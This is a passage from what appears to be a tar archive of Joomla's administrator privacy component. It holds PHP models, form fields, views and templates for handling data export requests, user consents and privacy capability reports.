		 * Because of this, it is expected that Language::_() is directly called and that the Text class is NOT used
		 * for translating all messages.
		 *
		 * Error messages will still be displayed to the administrator, so those messages should continue to use the Text class.
		 */

		$lang = JFactory::getLanguage();

		$db = $this->getDbo();

		$userId = (int) $db->setQuery(
			$db->getQuery(true)
				->select('id')
				->from($db->quoteName('#__users'))
				->where('LOWER(' . $db->quoteName('email') . ') = LOWER(' . $db->quote($table->email) . ')'),
			0,
			1
		)->loadResult();

		if ($userId)
		{
			$receiver = JUser::getInstance($userId);

			/*
			 * We don't know if the user has admin access, so we will check if they have an admin language in their parameters,
			 * falling back to the site language, falling back to the currently active language
			 */

			$langCode = $receiver->getParam('admin_language', '');

			if (!$langCode)
			{
				$langCode = $receiver->getParam('language', $lang->getTag());
			}

			$lang = JLanguage::getInstance($langCode, $lang->getDebug());
		}

		// Ensure the right language files have been loaded
		$lang->load('com_privacy', JPATH_ADMINISTRATOR, null, false, true)
			|| $lang->load('com_privacy', JPATH_ADMINISTRATOR . '/components/com_privacy', null, false, true);

		// The mailer can be set to either throw Exceptions or return boolean false, account for both
		try
		{
			$app = JFactory::getApplication();

			$substitutions = array(
				'[SITENAME]' => $app->get('sitename'),
				'[URL]'      => JUri::root(),
				'\\n'        => "\n",
			);

			$emailSubject = $lang->_('COM_PRIVACY_EMAIL_DATA_EXPORT_COMPLETED_SUBJECT');
			$emailBody    = $lang->_('COM_PRIVACY_EMAIL_DATA_EXPORT_COMPLETED_BODY');

			foreach ($substitutions as $k => $v)
			{
				$emailSubject = str_replace($k, $v, $emailSubject);
				$emailBody    = str_replace($k, $v, $emailBody);
			}

			$mailer = JFactory::getMailer();
			$mailer->setSubject($emailSubject);
			$mailer->setBody($emailBody);
			$mailer->addRecipient($table->email);
			$mailer->addStringAttachment(
				PrivacyHelper::renderDataAsXml($exportData),
				'user-data_' . JUri::getInstance()->toString(array('host')) . '.xml'
			);

			$mailResult = $mailer->Send();

			if ($mailResult instanceof JException)
			{
				// JError was already called so we just need to return now
				return false;
			}
			elseif ($mailResult === false)
			{
				$this->setError($mailer->ErrorInfo);

				return false;
			}

			return true;
		}
		catch (phpmailerException $exception)
		{
			$this->setError($exception->getMessage());

			return false;
		}

		return true;
	}

	/**
	 * Method to get a table object, load it if necessary.
	 *
	 * @param   string  $name     The table name. Optional.
	 * @param   string  $prefix   The class prefix. Optional.
	 * @param   array   $options  Configuration array for model. Optional.
	 *
	 * @return  JTable  A JTable object
	 *
	 * @since   3.9.0
	 * @throws  \Exception
	 */
	public function getTable($name = 'Request', $prefix = 'PrivacyTable', $options = array())
	{
		return parent::getTable($name, $prefix, $options);
	}

	/**
	 * Log the data export to the action log system.
	 *
	 * @param   PrivacyTableRequest  $request  The request record being processed
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function logExport(PrivacyTableRequest $request)
	{
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_actionlogs/models', 'ActionlogsModel');

		$user = JFactory::getUser();

		$message = array(
			'action'      => 'export',
			'id'          => $request->id,
			'itemlink'    => 'index.php?option=com_privacy&view=request&id=' . $request->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
		);

		/** @var ActionlogsModelActionlog $model */
		$model = JModelLegacy::getInstance('Actionlog', 'ActionlogsModel');
		$model->addLog(array($message), 'COM_PRIVACY_ACTION_LOG_EXPORT', 'com_privacy.request', $user->id);
	}

	/**
	 * Log the data export email to the action log system.
	 *
	 * @param   PrivacyTableRequest  $request  The request record being processed
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function logExportEmailed(PrivacyTableRequest $request)
	{
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_actionlogs/models', 'ActionlogsModel');

		$user = JFactory::getUser();

		$message = array(
			'action'      => 'export_emailed',
			'id'          => $request->id,
			'itemlink'    => 'index.php?option=com_privacy&view=request&id=' . $request->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
		);

		/** @var ActionlogsModelActionlog $model */
		$model = JModelLegacy::getInstance('Actionlog', 'ActionlogsModel');
		$model->addLog(array($message), 'COM_PRIVACY_ACTION_LOG_EXPORT_EMAILED', 'com_privacy.request', $user->id);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	protected function populateState()
	{
		// Get the pk of the record from the request.
		$this->setState($this->getName() . '.request_id', JFactory::getApplication()->input->getUint('id'));

		// Load the parameters.
		$this->setState('params', JComponentHelper::getParams('com_privacy'));
	}
}
com_privacy/models/requests.php000060400000011202152455305270012726 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;

/**
 * Requests management model class.
 *
 * @since  3.9.0
 */
class PrivacyModelRequests extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @since   3.9.0
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'email', 'a.email',
				'requested_at', 'a.requested_at',
				'request_type', 'a.request_type',
				'status', 'a.status',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to get a JDatabaseQuery object for retrieving the data set from a database.
	 *
	 * @return  JDatabaseQuery
	 *
	 * @since   3.9.0
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db    = $this->getDbo();
		$query = $db->getQuery(true);

		// Select the required fields from the table.
		$query->select($this->getState('list.select', 'a.*'));
		$query->from($db->quoteName('#__privacy_requests', 'a'));

		// Filter by status
		$status = $this->getState('filter.status');

		if (is_numeric($status))
		{
			$query->where('a.status = ' . (int) $status);
		}

		// Filter by request type
		$requestType = $this->getState('filter.request_type', '');

		if ($requestType)
		{
			$query->where('a.request_type = ' . $db->quote($db->escape($requestType, true)));
		}

		// Filter by search in email
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where($db->quoteName('a.id') . ' = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . $db->escape($search, true) . '%');
				$query->where('(' . $db->quoteName('a.email') . ' LIKE ' . $search . ')');
			}
		}

		// Handle the list ordering.
		$ordering  = $this->getState('list.ordering');
		$direction = $this->getState('list.direction');

		if (!empty($ordering))
		{
			$query->order($db->escape($ordering) . ' ' . $db->escape($direction));
		}

		return $query;
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string
	 *
	 * @since   3.9.0
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.status');
		$id .= ':' . $this->getState('filter.request_type');

		return parent::getStoreId($id);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	protected function populateState($ordering = 'a.id', $direction = 'desc')
	{
		// Load the filter state.
		$this->setState(
			'filter.search',
			$this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search')
		);

		$this->setState(
			'filter.status',
			$this->getUserStateFromRequest($this->context . '.filter.status', 'filter_status', '', 'int')
		);

		$this->setState(
			'filter.request_type',
			$this->getUserStateFromRequest($this->context . '.filter.request_type', 'filter_request_type', '', 'string')
		);

		// Load the parameters.
		$this->setState('params', JComponentHelper::getParams('com_privacy'));

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to return number privacy requests older than X days.
	 *
	 * @return  integer
	 *
	 * @since   3.9.0
	 */
	public function getNumberUrgentRequests()
	{
		// Load the parameters.
		$params = ComponentHelper::getComponent('com_privacy')->getParams();
		$notify = (int) $params->get('notify', 14);
		$now    = JFactory::getDate()->toSql();
		$period = '-' . $notify;

		$db    = $this->getDbo();
		$query = $db->getQuery(true)
			->select('COUNT(*)');
		$query->from($db->quoteName('#__privacy_requests'));
		$query->where($db->quoteName('status') . ' = 1 ');
		$query->where($query->dateAdd($db->quote($now), $period, 'DAY') . ' > ' . $db->quoteName('requested_at'));
		$db->setQuery($query);

		return (int) $db->loadResult();
	}
}
com_privacy/models/consents.php000060400000012415152455305270012716 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Consents management model class.
 *
 * @since  3.9.0
 */
class PrivacyModelConsents extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @since   3.9.0
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id', 
				'user_id', 'a.user_id',
				'subject', 'a.subject',
				'created', 'a.created',
				'username', 'u.username',
				'state', 'a.state'
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to get a JDatabaseQuery object for retrieving the data set from a database.
	 *
	 * @return  JDatabaseQuery
	 *
	 * @since   3.9.0
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db    = $this->getDbo();
		$query = $db->getQuery(true);

		// Select the required fields from the table.
		$query->select($this->getState('list.select', 'a.*'));
		$query->from($db->quoteName('#__privacy_consents', 'a'));

		// Join over the users for the username.
		$query->select($db->quoteName('u.username', 'username'));
		$query->join('LEFT', $db->quoteName('#__users', 'u') . ' ON u.id = a.user_id');

		// Filter by search in email
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where($db->quoteName('a.id') . ' = ' . (int) substr($search, 3));
			}
			elseif (stripos($search, 'uid:') === 0)
			{
				$query->where($db->quoteName('a.user_id') . ' = ' . (int) substr($search, 4));
			}
			else
			{
				$search = $db->quote('%' . $db->escape($search, true) . '%');
				$query->where('(' . $db->quoteName('u.username') . ' LIKE ' . $search . ')');
			}
		}

		$state = $this->getState('filter.state');

		if ($state != '')
		{
			$query->where($db->quoteName('a.state') . ' = ' . (int) $state);
		}

		// Handle the list ordering.
		$ordering  = $this->getState('list.ordering');
		$direction = $this->getState('list.direction');

		if (!empty($ordering))
		{
			$query->order($db->escape($ordering) . ' ' . $db->escape($direction));
		}

		return $query;
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string
	 *
	 * @since   3.9.0
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.search');

		return parent::getStoreId($id);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	protected function populateState($ordering = 'a.id', $direction = 'desc')
	{
		// Load the filter state.
		$this->setState(
			'filter.search',
			$this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search')
		);

		$this->setState(
			'filter.subject',
			$this->getUserStateFromRequest($this->context . '.filter.subject', 'filter_subject')
		);

		$this->setState(
			'filter.state',
			$this->getUserStateFromRequest($this->context . '.filter.state', 'filter_state')
		);

		// Load the parameters.
		$this->setState('params', JComponentHelper::getParams('com_privacy'));

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to invalidate specific consents.
	 *
	 * @param   array  $pks  The ids of the consents to invalidate.
	 *
	 * @return  boolean  True on success.
	 */
	public function invalidate($pks)
	{
		// Sanitize the ids.
		$pks = (array) $pks;
		$pks = ArrayHelper::toInteger($pks);

		try
		{
			$db = $this->getDbo();
			$query = $db->getQuery(true)
				->update($db->quoteName('#__privacy_consents'))
				->set($db->quoteName('state') . ' = -1')
				->where($db->quoteName('id') . ' IN (' . implode(',', $pks) . ')')
				->where($db->quoteName('state') . ' = 1');
			$db->setQuery($query);
			$db->execute();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		return true;
	}

	/**
	 * Method to invalidate a group of specific consents.
	 *
	 * @param   array  $subject  The subject of the consents to invalidate.
	 *
	 * @return  boolean  True on success.
	 */
	public function invalidateAll($subject)
	{
		try
		{
			$db = $this->getDbo();
			$query = $db->getQuery(true)
				->update($db->quoteName('#__privacy_consents'))
				->set($db->quoteName('state') . ' = -1')
				->where($db->quoteName('subject') . ' = ' . $db->quote($subject))
				->where($db->quoteName('state') . ' = 1');
			$db->setQuery($query);
			$db->execute();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		return true;
	}
}
com_privacy/models/capabilities.php000060400000006520152455305270013513 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Capabilities model class.
 *
 * @since  3.9.0
 */
class PrivacyModelCapabilities extends JModelLegacy
{
	/**
	 * Retrieve the extension capabilities.
	 *
	 * @return  array
	 *
	 * @since   3.9.0
	 */
	public function getCapabilities()
	{
		$app = JFactory::getApplication();

		/*
		 * Capabilities will be collected in two parts:
		 *
		 * 1) Core capabilities - This will cover the core API, i.e. all library level classes
		 * 2) Extension capabilities - This will be collected by a plugin hook to select plugin groups
		 *
		 * Plugins which report capabilities should return an associative array with a single root level key which is used as the title
		 * for the reporting section and an array with each value being a separate capability. All capability messages should be translated
		 * by the extension when building the array. An example of the structure expected to be returned from plugins can be found in the
		 * $coreCapabilities array below.
		 */

		$coreCapabilities = array(
			JText::_('COM_PRIVACY_HEADING_CORE_CAPABILITIES') => array(
				JText::_('COM_PRIVACY_CORE_CAPABILITY_SESSION_IP_ADDRESS_AND_COOKIE'),
				JText::sprintf('COM_PRIVACY_CORE_CAPABILITY_LOGGING_IP_ADDRESS', $app->get('log_path', JPATH_ADMINISTRATOR . '/logs')),
				JText::_('COM_PRIVACY_CORE_CAPABILITY_COMMUNICATION_WITH_JOOMLA_ORG'),
			)
		);

		/*
		 * We will search for capabilities from the following plugin groups:
		 *
		 * - Authentication: These plugins by design process user information and may have capabilities such as creating cookies
		 * - Captcha: These plugins may communicate information to third party systems
		 * - Installer: These plugins can add additional install capabilities to the Extension Manager, such as the Install from Web service
		 * - Privacy: These plugins are the primary integration point into this component
		 * - User: These plugins are intended to extend the user management system
		 *
		 * This is in addition to plugin groups which are imported before this method is triggered, generally this is the system group.
		 */

		JPluginHelper::importPlugin('authentication');
		JPluginHelper::importPlugin('captcha');
		JPluginHelper::importPlugin('installer');
		JPluginHelper::importPlugin('privacy');
		JPluginHelper::importPlugin('user');

		$pluginResults = $app->triggerEvent('onPrivacyCollectAdminCapabilities');

		// We are going to "cheat" here and include this component's capabilities without using a plugin
		$extensionCapabilities = array(
			JText::_('COM_PRIVACY') => array(
				JText::_('COM_PRIVACY_EXTENSION_CAPABILITY_PERSONAL_INFO'),
			)
		);

		foreach ($pluginResults as $pluginResult)
		{
			$extensionCapabilities += $pluginResult;
		}

		// Sort the extension list alphabetically
		ksort($extensionCapabilities);

		// Always prepend the core capabilities to the array
		return $coreCapabilities + $extensionCapabilities;
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	protected function populateState()
	{
		// Load the parameters.
		$this->setState('params', JComponentHelper::getParams('com_privacy'));
	}
}
com_privacy/models/fields/requeststatus.php000060400000001525152455305270015264 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JFormHelper::loadFieldClass('predefinedlist');

/**
 * Form Field to load a list of request statuses
 *
 * @since  3.9.0
 */
class PrivacyFormFieldRequeststatus extends JFormFieldPredefinedList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	public $type = 'RequestStatus';

	/**
	 * Available statuses
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $predefinedOptions = array(
		'-1' => 'COM_PRIVACY_STATUS_INVALID',
		'0'  => 'COM_PRIVACY_STATUS_PENDING',
		'1'  => 'COM_PRIVACY_STATUS_CONFIRMED',
		'2'  => 'COM_PRIVACY_STATUS_COMPLETED',
	);
}
com_privacy/models/fields/requesttype.php000060400000001443152455305270014721 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JFormHelper::loadFieldClass('predefinedlist');

/**
 * Form Field to load a list of request types
 *
 * @since  3.9.0
 */
class PrivacyFormFieldRequesttype extends JFormFieldPredefinedList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	public $type = 'RequestType';

	/**
	 * Available types
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $predefinedOptions = array(
		'export' => 'COM_PRIVACY_HEADING_REQUEST_TYPE_TYPE_EXPORT',
		'remove' => 'COM_PRIVACY_HEADING_REQUEST_TYPE_TYPE_REMOVE',
	);
}
com_privacy/models/dashboard.php000060400000010100152455305270012776 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Router\Route;

/**
 * Dashboard model class.
 *
 * @since  3.9.0
 */
class PrivacyModelDashboard extends JModelLegacy
{
	/**
	 * Get the information about the published privacy policy
	 *
	 * @return  array  Array containing a status of whether a privacy policy is set and a link to the policy document for editing
	 *
	 * @since   3.9.0
	 */
	public function getPrivacyPolicyInfo()
	{
		$policy = array(
			'published'         => false,
			'articlePublished'  => false,
			'editLink'          => '',
		);

		/*
		 * Prior to 3.9.0 it was common for a plugin such as the User - Profile plugin to define a privacy policy or
		 * terms of service article, therefore we will also import the user plugin group to process this event.
		 */
		JPluginHelper::importPlugin('privacy');
		JPluginHelper::importPlugin('user');

		JFactory::getApplication()->triggerEvent('onPrivacyCheckPrivacyPolicyPublished', array(&$policy));

		return $policy;
	}

	/**
	 * Get a count of the active information requests grouped by type and status
	 *
	 * @return  array  Array containing site privacy requests
	 *
	 * @since   3.9.0
	 */
	public function getRequestCounts()
	{
		$db    = $this->getDbo();
		$query = $db->getQuery(true)
			->select(
				array(
					'COUNT(*) AS count',
					$db->quoteName('status'),
					$db->quoteName('request_type'),
				)
			)
			->from($db->quoteName('#__privacy_requests'))
			->group($db->quoteName('status'))
			->group($db->quoteName('request_type'));

		$db->setQuery($query);

		return $db->loadObjectList();
	}

	/**
	 * Check whether there is a menu item for the request form
	 *
	 * @return  array  Array containing a status of whether a menu is published for the request form and its current link
	 *
	 * @since   3.9.0
	 */
	public function getRequestFormPublished()
	{
		$status = array(
			'exists'    => false,
			'published' => false,
			'link'      => '',
		);

		$db    = $this->getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('id') . ', ' . $db->quoteName('published') . ', ' . $db->quoteName('language'))
			->from($db->quoteName('#__menu'))
			->where($db->quoteName('client_id') . ' = 0')
			->where($db->quoteName('link') . ' = ' . $db->quote('index.php?option=com_privacy&view=request'));
		$db->setQuery($query);

		$menuItem = $db->loadObject();

		// Check if the menu item exists in database
		if ($menuItem)
		{
			$status['exists'] = true;

			// Check if the menu item is published
			if ($menuItem->published == 1)
			{
				$status['published'] = true;
			}

			// Add language to the url if the site is multilingual
			if (JLanguageMultilang::isEnabled() && $menuItem->language && $menuItem->language !== '*')
			{
				$lang = '&lang=' . $menuItem->language;
			}
			else
			{
				$lang = '';
			}
		}

		$linkMode = JFactory::getApplication()->get('force_ssl', 0) == 2 ? Route::TLS_FORCE : Route::TLS_IGNORE;

		if (!$menuItem)
		{
			if (JLanguageMultilang::isEnabled())
			{
				// Find the Itemid of the home menu item tagged to the site default language
				$params = JComponentHelper::getParams('com_languages');
				$defaultSiteLanguage = $params->get('site');

				$db    = $this->getDbo();
				$query = $db->getQuery(true)
					->select($db->quoteName('id'))
					->from($db->quoteName('#__menu'))
					->where($db->quoteName('client_id') . ' = 0')
					->where($db->quoteName('home') . ' = 1')
					->where($db->quoteName('language') . ' = ' . $db->quote($defaultSiteLanguage));
				$db->setQuery($query);

				$homeId = (int) $db->loadResult();
				$itemId = $homeId ? '&Itemid=' . $homeId : '';
			}
			else
			{
				$itemId = '';
			}

			$status['link'] = JRoute::link('site', 'index.php?option=com_privacy&view=request' . $itemId, true, $linkMode);
		}
		else
		{
			$status['link'] = JRoute::link('site', 'index.php?Itemid=' . $menuItem->id . $lang, true, $linkMode);
		}

		return $status;
	}
}
com_privacy/views/consents/tmpl/default.php000060400000010172152455305270015166 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/** @var PrivacyViewConsent $this */

// Load the tooltip behavior.
JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$user       = JFactory::getUser();
$listOrder  = $this->escape($this->state->get('list.ordering'));
$listDirn   = $this->escape($this->state->get('list.direction'));
$now        = JFactory::getDate();
$stateIcons = array(-1 => 'trash', 0 => 'archive', 1 => 'publish');
$stateMsgs  = array(-1 => JText::_('COM_PRIVACY_CONSENTS_STATE_INVALIDATED'), 0 => JText::_('COM_PRIVACY_CONSENTS_STATE_OBSOLETE'), 1 => JText::_('COM_PRIVACY_CONSENTS_STATE_VALID'));

?>
<form action="<?php echo JRoute::_('index.php?option=com_privacy&view=consents'); ?>" method="post" name="adminForm" id="adminForm">
	<?php if (!empty($this->sidebar)) : ?>
		<div id="j-sidebar-container" class="span2">
			<?php echo $this->sidebar; ?>
		</div>
		<div id="j-main-container" class="span10">
	<?php else : ?>
		<div id="j-main-container">
	<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<div class="clearfix"> </div>
		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('COM_PRIVACY_MSG_CONSENTS_NO_CONSENTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped" id="consentList">
				<thead>
					<tr>
						<th width="1%" class="center">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_USERNAME', 'u.username', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'COM_PRIVACY_HEADING_USERID', 'a.user_id', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'COM_PRIVACY_HEADING_CONSENTS_SUBJECT', 'a.subject', $listDirn, $listOrder); ?>
						</th>
						<th class="nowrap">
							<?php echo JText::_('COM_PRIVACY_HEADING_CONSENTS_BODY'); ?>
						</th>
						<th width="15%" class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'COM_PRIVACY_HEADING_CONSENTS_CREATED', 'a.created', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="9">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
					<?php foreach ($this->items as $i => $item) : ?>
						<tr class="row<?php echo $i % 2; ?>">
							<td class="center">
								<?php echo JHtml::_('grid.id', $i, $item->id); ?>
							</td>
							<td>
								<span class="icon icon-<?php echo $stateIcons[$item->state]; ?>" title="<?php echo $stateMsgs[$item->state]; ?>"></span>
							</td>
							<td>
								<?php echo $item->username; ?>
							</td>
							<td>
								<?php echo $item->user_id; ?>
							</td>
							<td>
								<?php echo JText::_($item->subject); ?>
							</td>
							<td>
								<?php echo $item->body; ?>
							</td>
							<td class="break-word">
								<span class="hasTooltip" title="<?php echo JHtml::_('date', $item->created, JText::_('DATE_FORMAT_LC6')); ?>">
									<?php echo JHtml::_('date.relative', new JDate($item->created), null, $now); ?>
								</span>
							</td>
							<td class="hidden-phone">
								<?php echo (int) $item->id; ?>
							</td>
						</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif; ?>

		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_privacy/views/consents/tmpl/default.xml000060400000000322152455305270015173 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_PRIVACY_CONSENTS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_PRIVACY_CONSENTS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_privacy/views/consents/view.html.php000060400000005661152455305270014512 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Consents view class
 *
 * @since  3.9.0
 */
class PrivacyViewConsents extends JViewLegacy
{
	/**
	 * The active search tools filters
	 *
	 * @var    array
	 * @since  3.9.0
	 * @note   Must be public to be accessed from the search tools layout
	 */
	public $activeFilters;

	/**
	 * Form instance containing the search tools filter form
	 *
	 * @var    JForm
	 * @since  3.9.0
	 * @note   Must be public to be accessed from the search tools layout
	 */
	public $filterForm;

	/**
	 * The items to display
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $items;

	/**
	 * The pagination object
	 *
	 * @var    JPagination
	 * @since  3.9.0
	 */
	protected $pagination;

	/**
	 * The HTML markup for the sidebar
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	protected $sidebar;

	/**
	 * The state information
	 *
	 * @var    JObject
	 * @since  3.9.0
	 */
	protected $state;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @see     JViewLegacy::loadTemplate()
	 * @since   3.9.0
	 * @throws  Exception
	 */
	public function display($tpl = null)
	{
		// Initialise variables
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();

		$this->sidebar = JHtmlSidebar::render();

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	protected function addToolbar()
	{
		JToolbarHelper::title(JText::_('COM_PRIVACY_VIEW_CONSENTS'), 'lock');

		$bar = JToolbar::getInstance('toolbar');

		// Add a button to invalidate a consent
		$bar->appendButton(
			'Confirm',
			'COM_PRIVACY_CONSENTS_TOOLBAR_INVALIDATE_CONFIRM_MSG',
			'trash',
			'COM_PRIVACY_CONSENTS_TOOLBAR_INVALIDATE',
			'consents.invalidate',
			true
		);

		// If the filter is restricted to a specific subject, show the "Invalidate all" button
		if ($this->state->get('filter.subject') != '')
		{
			$bar->appendButton(
				'Confirm',
				'COM_PRIVACY_CONSENTS_TOOLBAR_INVALIDATE_ALL_CONFIRM_MSG',
				'cancel',
				'COM_PRIVACY_CONSENTS_TOOLBAR_INVALIDATE_ALL',
				'consents.invalidateAll',
				false
			);
		}

		JToolbarHelper::preferences('com_privacy');

		JToolbarHelper::help('JHELP_COMPONENTS_PRIVACY_CONSENTS');
	}
}
com_privacy/views/capabilities/tmpl/default.php000060400000003346152455305270015770 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/** @var PrivacyViewCapabilities $this */

?>
<?php if (!empty($this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
	<div class="alert alert-info">
